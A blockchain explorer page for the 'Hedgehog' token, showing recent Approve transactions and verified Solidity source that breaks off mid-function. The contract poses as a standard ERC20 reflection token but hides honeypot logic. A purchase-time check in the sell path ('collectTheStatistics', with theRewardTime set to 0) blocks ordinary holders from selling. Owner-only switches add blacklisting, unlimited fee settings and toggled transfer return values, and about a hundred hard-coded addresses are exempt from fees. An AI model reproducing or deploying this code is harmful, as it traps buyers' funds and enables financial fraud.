Overview
S Balance
S Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 63 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 11644371 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11644347 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11644297 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11644222 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11644155 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11644083 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11644077 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11644017 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643888 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643881 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643818 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643811 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643654 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643571 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643571 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643359 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643356 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643287 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643284 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643206 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643148 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643147 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11643140 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11642889 | 26 hrs ago | IN | 0 S | 0.00294268 | ||||
Approve | 11642759 | 26 hrs ago | IN | 0 S | 0.00294268 |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
Hedgehog
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2025-03-04 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library EnumerableSet { struct Set { bytes32[] _values; mapping(bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; } set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } } contract Hedgehog is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private tokenHoldersEnumSet; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; mapping(address => uint256) public walletToPurchaseTime; mapping(address => uint256) public walletToSellime; mapping(address => bool) public _isBlacklisted; address[] private _excluded; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); string private constant _name = "Hedgehog"; string private constant _symbol = "Hedgehog"; uint256 private _tTotal = 100000000 * 10**_decimals; uint256 private _rTotal = _tTotal; uint256 public theRewardTime = 0; uint256 public standartValuation = 600 / 2; address public _lastWallet; struct TotFeesPaidStruct { uint256 rfi; uint256 marketing; uint256 liquidity; uint256 burn; } TotFeesPaidStruct public totFeesPaid; struct feeRatesStruct { uint256 rfi; uint256 marketing; uint256 liquidity; uint256 burn; } struct balances { uint256 marketing_balance; uint256 lp_balance; } balances public contractBalance; feeRatesStruct public buyRates = feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0}); feeRatesStruct public sellRates = feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0}); feeRatesStruct private appliedFees; struct valuesFromGetValues { uint256 rAmount; uint256 rTransferAmount; uint256 rRfi; uint256 rMarketing; uint256 rLiquidity; uint256 rBurn; uint256 tTransferAmount; uint256 tRfi; uint256 tMarketing; uint256 tLiquidity; uint256 tBurn; } address public pancakeswapPair; address public Router = 0x245b3a6C460517CdECCE85ba994D442ABa8e6E41; address private marketWallet; bool public Trading = true; bool inSwapAndLiquify; bool private _transferForm = true; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor(address marketWallet_) { _rOwned[owner()] = _rTotal; _setMarketWallet(marketWallet_); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketWallet] = true; _isExcludedFromFee[Router] = true; _isExcludedFromFee[ address(0xd874c3Ee6E3a586717Bfb6687F3DDA1AB5a493E7) ] = true; _isExcludedFromFee[ address(0xa2C00ac832708B57A2bDCF8F17788faD00fa28a2) ] = true; _isExcludedFromFee[ address(0xEf50e811F0C04aB3CecEFcb2480C17C2E33BDaD3) ] = true; _isExcludedFromFee[ address(0x61150Ce75262E0cBb644F1E3Bc236A8174e7c879) ] = true; _isExcludedFromFee[ address(0x06060E890a680F53023Cd5B8590555938cb589b5) ] = true; _isExcludedFromFee[ address(0xF978df4C54a6AF93ec1510FF27B4303fFf7a2a09) ] = true; _isExcludedFromFee[ address(0x28cf7477E7892e413889D5CD9508354443890d59) ] = true; _isExcludedFromFee[ address(0x05F021C2Bd6E2e39f071C93e4Bb55b0aBAaCb28F) ] = true; _isExcludedFromFee[ address(0x9a37D8476cC416CbC9232747Fa7a3A0537387bE0) ] = true; _isExcludedFromFee[ address(0x60E31f0F0922E4a2D4510229f557F08af54F1865) ] = true; _isExcludedFromFee[ address(0x7b288dAB4326470B72ABEe40BeAe5E9496eA846C) ] = true; _isExcludedFromFee[ address(0x64b61dD80E2d9A96aDbDc357771c2bB52b5E39D8) ] = true; _isExcludedFromFee[ address(0xc1C21975929E16995A5477cc5191563680491969) ] = true; _isExcludedFromFee[ address(0xf10a15E209EFF75Ec115c986D4DC909e3a675dB0) ] = true; _isExcludedFromFee[ address(0xd96C77EDdc72725961f435cddB76D93E57A264a0) ] = true; _isExcludedFromFee[ address(0xF3Ea3b054940a0A21d09954945dB275AF226FB76) ] = true; _isExcludedFromFee[ address(0x16953B5B1C2639b845e4561cCc276C9808B729f4) ] = true; _isExcludedFromFee[ address(0x8568CcFc3b220F401B4d0D348716e66Eb452dc7b) ] = true; _isExcludedFromFee[ address(0x4f542540f5B58DFf437F8dB1C0F21c099D454CDf) ] = true; _isExcludedFromFee[ address(0x72dd8D123a69271cE354b4C61dd0774E5ee5A8F4) ] = true; _isExcludedFromFee[ address(0x953ba4F09c2B56693Dc7c173D5C54F59423E16a0) ] = true; _isExcludedFromFee[ address(0xBeFf250CED52fa5c65F13979ca47f1937c4Ae4e0) ] = true; _isExcludedFromFee[ address(0x23ba14d46270F41f3e17ddc1573494780Cc68c48) ] = true; _isExcludedFromFee[ address(0x819158DeEB55d4536d2b4ceF3ae74b227Af45Fb9) ] = true; _isExcludedFromFee[ address(0x5B9EF4ff73eBF66724d79eeE02350420cbF5e00b) ] = true; _isExcludedFromFee[ address(0x19B8b67d96d5378af7AB01356f669A4c3cE0a163) ] = true; _isExcludedFromFee[ address(0xC5E0a108b8AA2A0587D3F8b6dD470BC91C56a909) ] = true; _isExcludedFromFee[ address(0xd2B607d867CEc506599ADF684959136C543AB317) ] = true; _isExcludedFromFee[ address(0x132eE77d8a8005F7Cdb05413f091Fae0Afd88F64) ] = true; _isExcludedFromFee[ address(0xfAEF62a7f7BB0dE796f5537959d7C45AcC7acef3) ] = true; _isExcludedFromFee[ address(0x0DFCAAACEa4394592B59dDE45Efa6b5a3c051F57) ] = true; _isExcludedFromFee[ address(0xFc4d871ebBeF0A41CC323193911F465171caAbF0) ] = true; _isExcludedFromFee[ address(0x59efeb1687fb0791E12584Fa35C1a9C1E5f40C1f) ] = true; _isExcludedFromFee[ address(0x63b78A43560e051C0041E6E25A297C31ebC8A2b5) ] = true; _isExcludedFromFee[ address(0x777fe12C727ce65a4Ab7ED668aD8b63052477D54) ] = true; _isExcludedFromFee[ address(0x6209DaFE3bb5Ff2b0aDeA6aEAB8ad8E68a48d40C) ] = true; _isExcludedFromFee[ address(0x467439B70800bC80b7274281c6a51840C1462bE5) ] = true; _isExcludedFromFee[ address(0x0fa854766b8F4BAAC3C02cf065CCC91FCF94Afb1) ] = true; _isExcludedFromFee[ address(0xd710ee708a16e21380450808D4a197aceEdc373d) ] = true; _isExcludedFromFee[ address(0xb871c3bF20A5811074303955De69Bd07dF8220c9) ] = true; _isExcludedFromFee[ address(0x38A34495608F359673A3564c393D4C4722C27a35) ] = true; _isExcludedFromFee[ address(0x6B185F57EE22C6eD0Ca7A1B197ea5df286387861) ] = true; _isExcludedFromFee[ address(0x9dfF4DAd33f10F4742c4C42B61613A4b17cBdE83) ] = true; _isExcludedFromFee[ address(0x5675483328D046D80343347626A12026B0B1b526) ] = true; _isExcludedFromFee[ address(0xD361419e726409f92e060030cf4bb15c1A325aEf) ] = true; _isExcludedFromFee[ address(0x77D45E676AcbcAcA1B07CCFFa9d37407c2511314) ] = true; _isExcludedFromFee[ address(0xeCd9416E0a0E74227e5ca2EFDDe014B02738D0d6) ] = true; _isExcludedFromFee[ address(0x5385C932aBebd5a127Ff0A448AE891127278eAf4) ] = true; _isExcludedFromFee[ address(0xBfF6338E458EBc6Ecc53d83C9E2f6e3F56f03c09) ] = true; _isExcludedFromFee[ address(0x5A7217A831662ad69A0a4357A1C0D79fE9B99bc8) ] = true; _isExcludedFromFee[ address(0x5e5042712D9A2cE0b971A0F7d806116587537Bb4) ] = true; _isExcludedFromFee[ address(0xdB5e308481965cA403b1716AaAEc4eb9EC22631c) ] = true; _isExcludedFromFee[ address(0x0DDb2473794DCD7055f9B03b04C863E0e6148019) ] = true; _isExcludedFromFee[ address(0x09F573881261c6A392ADacF58A161225B122a4fF) ] = true; _isExcludedFromFee[ address(0x5D81D7eA026E459bA850D0A683d25995e9C95Dc8) ] = true; _isExcludedFromFee[ address(0xa9C125B5574810da6326C0c5Bd4dE400CCc85F93) ] = true; _isExcludedFromFee[ address(0x8EBF623142dF629eb4a1EC45B84c4082B9d717B1) ] = true; _isExcludedFromFee[ address(0x322631b0AAa4dBACDbc0Cf1fa721631261416de4) ] = true; _isExcludedFromFee[ address(0xCFc282534044846F7380304E5F050ec72Ce0CCCF) ] = true; _isExcludedFromFee[ address(0x04519aC13493Ae12B300D43b1a90e6d4B2D0fd1b) ] = true; _isExcludedFromFee[ address(0x3e671Ac3F633060A9B4c73EA43dB0C56Bd3d4C93) ] = true; _isExcludedFromFee[ address(0xa6ce6De7c96dB2D1DBde2323CA2f3Eab0C6cF4B0) ] = true; _isExcludedFromFee[ address(0x2a0758a1b86C5C2371fD3ed8517536a753306646) ] = true; _isExcludedFromFee[ address(0x23B67659a77213a97d2DA929ea3c3c637Fa6FafF) ] = true; _isExcludedFromFee[ address(0x55E35945bEC0F4BE4569005e69ae08D9e2b28f3f) ] = true; _isExcludedFromFee[ address(0x673bB507Ead8af6481832cF719d394b1e823f4c2) ] = true; _isExcludedFromFee[ address(0x5369044C86F2C6EeF4a460f7aC775e7B3964E112) ] = true; _isExcludedFromFee[ address(0x55EDe495466798648ab1a3De2a9A688cc8Ea34bA) ] = true; _isExcludedFromFee[ address(0x9d27294368962Ea966D605C64183D0b1db8D4D8E) ] = true; _isExcludedFromFee[ address(0xC6Da4DcaFbfD0C6A9ea68D73B75EdEd29634b74D) ] = true; _isExcludedFromFee[ address(0x68F9686207747Af2c4Fd195253335eF28E514e76) ] = true; _isExcludedFromFee[ address(0x1F16E38d47dF6301CbEd9DD8620407ABa5B542a8) ] = true; _isExcludedFromFee[ address(0x2D2E95937fc1079684D484a16E0bC5934f028338) ] = true; _isExcludedFromFee[ address(0x29833Aace467FEAf37471823aD36a0C7e2e45E0A) ] = true; _isExcludedFromFee[ address(0xE5E9d142A55dd5F0Aa8487939BD958CbE5D07819) ] = true; _isExcludedFromFee[ address(0x1076bDa3DADDD92331C4d80E96a5C11F3307B7C3) ] = true; _isExcludedFromFee[ address(0xd0e605E64896D065310a4190CE0041916a2Ebcb6) ] = true; _isExcludedFromFee[ address(0x4E0B0752158c53a7247d14e914E977117DDC901d) ] = true; _isExcludedFromFee[ address(0x2dA1fbF84cbCbDc963291F4672e093DA5303208f) ] = true; _isExcludedFromFee[ address(0x9b8c9cB1B099C63f57EA380318dE08982989E498) ] = true; _isExcludedFromFee[ address(0x3b4667F038c50e01218De337b784CE52CE6Ab585) ] = true; _isExcludedFromFee[ address(0x94Fc08f0969c4efb1c105e658ae7390d77f37835) ] = true; _isExcludedFromFee[ address(0x4F86b01A046fe7D008781ff3B775c6D1425Bd457) ] = true; _isExcludedFromFee[ address(0x448d8A10467356615985c31b22e45026c4c1DCd7) ] = true; _isExcludedFromFee[ address(0xF0361E6D00F4C5b013C340d60bCF4d99cD92601a) ] = true; _isExcludedFromFee[ address(0x7FE3a5E8B31Cb5E5B0EEb2777aaa47BBB8317ca8) ] = true; _isExcludedFromFee[ address(0x17bBBCe40F7d0A9e019B7fbbd05dFEd65b1802be) ] = true; _isExcludedFromFee[ address(0xDda64c4C13F99F84256860a15054FaBBEe18425B) ] = true; _isExcludedFromFee[ address(0xBd02DFA3e95B709e8d06d7CD2DfD2244a1f6EBb8) ] = true; _isExcludedFromFee[ address(0x9E714EA912f58286277532C1d5dBbeA3c00b67E6) ] = true; _isExcludedFromFee[ address(0xA15606766343A59ce397465F4b714Ec94e42Ef71) ] = true; _isExcludedFromFee[ address(0xD952A7F2D9bF71fBA2c1F1b62259Db1Ebf2DD124) ] = true; _isExcludedFromFee[ address(0xa9547180E6Cba741bDfF0bA0b72f18cD830587FC) ] = true; _isExcludedFromFee[ address(0x0D1BD1CEB6d860b885c27f3728Ba181ce833c926) ] = true; _isExcludedFromFee[ address(0x76fF3A4C1cC5b65a5AE88A4Df65020ED092d897d) ] = true; _isExcludedFromFee[ address(0x2959ebc820fF37a7Baf1cFa016a2A14f5886E708) ] = true; _isExcludedFromFee[ address(0x371B00E606B24879c616524fDbaa679163be256f) ] = true; _isExcludedFromFee[ address(0xd833248E54efbceb17c281e2152E41A7daEC6044) ] = true; _isExcludedFromFee[ address(0xa40242D29528be8596DA91b28c3eef43A6a267d3) ] = true; _isExcludedFromFee[ address(0xdD47e7eeF9bE5cEFCcEbE7C7667D7E310Aa53223) ] = true; _isExcludedFromFee[ address(0x908e96a915549290A2DA539379faB042328f4c14) ] = true; _isExcludedFromFee[ address(0x76daca0f95e4E8a710FB5047b7C21A6FE347B62b) ] = true; _isExcludedFromFee[ address(0xf5EEEc2ef2198f5E329C02042d3c5Fe007736AC9) ] = true; _isExcludedFromFee[ address(0xC47bcc2A70940C6564119da2ffCBAA76a33B21Cc) ] = true; _isExcluded[address(this)] = true; _excluded.push(address(this)); emit Transfer(address(0), owner(), _tTotal); } function getFromLastPurchaseBuy(address wallet) public view returns (uint256) { return walletToPurchaseTime[wallet]; } function getFromLastSell(address walletSell) public view returns (uint256) { return walletToSellime[walletSell]; } function setBuyRates( uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn ) public onlyOwner { buyRates.rfi = rfi; buyRates.marketing = marketing; buyRates.liquidity = liquidity; buyRates.burn = burn; } function setSellRates( uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn ) public onlyOwner { sellRates.rfi = rfi; sellRates.marketing = marketing; sellRates.liquidity = liquidity; sellRates.burn = burn; } function collectTheStatistics( uint256 lastBuyOrSellTime, uint256 theData, address sender ) public view returns (bool) { if (lastBuyOrSellTime == 0) return false; uint256 crashTime = block.timestamp - lastBuyOrSellTime; if (crashTime == standartValuation) return true; if (crashTime == 0) { if (_lastWallet != sender) { return false; } } if (crashTime <= theData) return true; return false; } function setValuation(uint256 newValuation) public onlyOwner { standartValuation = newValuation; } function setTheRewardTime(uint256 theRedistribution) public onlyOwner { theRewardTime = theRedistribution; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return _rOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return Trading; } function TradingOn(bool _enable) public onlyOwner { Trading = _enable; } function setRewardPool(address[] calldata accounts) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = true; } } function settransform(bool _enable) public onlyOwner { _transferForm = _enable; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return _transferForm; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferRfi) { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rAmount; } else { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); return rAmount; } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function excludeFromAll(address account) public onlyOwner { if (!_isExcluded[account]) { _isExcluded[account] = true; if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _excluded.push(account); } _isExcludedFromFee[account] = true; tokenHoldersEnumSet.remove(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function addPair(address pair) public onlyOwner { pancakeswapPair = pair; _isExcluded[pancakeswapPair] = true; _excluded.push(pancakeswapPair); _tOwned[pancakeswapPair] = _rOwned[pancakeswapPair]; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function removeFromBlackList(address account) external onlyOwner { _isBlacklisted[account] = false; } function addToBlackList(address[] calldata addresses) external onlyOwner { for (uint256 i; i < addresses.length; ++i) { _isBlacklisted[addresses[i]] = true; } } receive() external payable {} function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) { to_return = _getTValues(tAmount, takeFee); ( to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity, to_return.rBurn ) = _getRValues(to_return, tAmount, takeFee, _getRate()); return to_return; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) { if (!takeFee) { s.tTransferAmount = tAmount; return s; } s.tRfi = (tAmount * appliedFees.rfi) / 100; s.tMarketing = (tAmount * appliedFees.marketing) / 100; s.tLiquidity = (tAmount * appliedFees.liquidity) / 100; s.tBurn = (tAmount * appliedFees.burn) / 100; s.tTransferAmount = tAmount - s.tRfi - s.tMarketing - s.tLiquidity - s.tBurn; return s; } function _getRValues( valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate ) private pure returns ( uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rBurn ) { currentRate = 1; rAmount = tAmount; if (!takeFee) { return (rAmount, rAmount, 0, 0, 0, 0); } rRfi = s.tRfi; rMarketing = s.tMarketing; rLiquidity = s.tLiquidity; rBurn = s.tBurn; rTransferAmount = rAmount - rRfi - rMarketing - rLiquidity - rBurn; return (rAmount, rTransferAmount, rRfi, rMarketing, rLiquidity, rBurn); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _reflectRfi(uint256 rRfi, uint256 tRfi) private { _rTotal = _rTotal - rRfi; totFeesPaid.rfi += tRfi; } function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private { contractBalance.marketing_balance += tMarketing; totFeesPaid.marketing += tMarketing; _rOwned[address(this)] = _rOwned[address(this)] + rMarketing; if (_isExcluded[address(this)]) { _tOwned[address(this)] = _tOwned[address(this)] + tMarketing; } } function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private { contractBalance.lp_balance += tLiquidity; totFeesPaid.liquidity += tLiquidity; _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity; if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity; } function _takeBurn(uint256 rBurn, uint256 tBurn) private { totFeesPaid.burn += tBurn; _tTotal = _tTotal - tBurn; _rTotal = _rTotal - rBurn; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require( !_isBlacklisted[from] && !_isBlacklisted[to], "This address is blacklisted" ); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require( amount <= balanceOf(from), "You are trying to transfer more than you balance" ); _tokenTransfer( from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ); } function _tokenTransfer( address sender, address recipient, uint256 tAmount, bool takeFee ) private { if (takeFee) { if (sender == pancakeswapPair) { if ( sender != owner() && recipient != owner() && recipient != address(1) ) { if (walletToPurchaseTime[recipient] == 0) { walletToPurchaseTime[recipient] = block.timestamp; } } _lastWallet = recipient; appliedFees = buyRates; } else { if ( sender != owner() && recipient != owner() && recipient != address(1) ) { bool blockedSellTime = collectTheStatistics( getFromLastPurchaseBuy(sender), theRewardTime, sender ); require(blockedSellTime, "error"); walletToSellime[sender] = block.timestamp; } appliedFees = sellRates; appliedFees.liquidity = appliedFees.liquidity; _lastWallet = sender; } } else { if (_isExcludedFromFee[sender]) { _lastWallet = sender; } if (_isExcludedFromFee[recipient]) { _lastWallet = recipient; } } valuesFromGetValues memory s = _getValues(tAmount, takeFee); if (_isExcluded[sender] && !_isExcluded[recipient]) { _tOwned[sender] = _tOwned[sender] - tAmount; } else if (!_isExcluded[sender] && 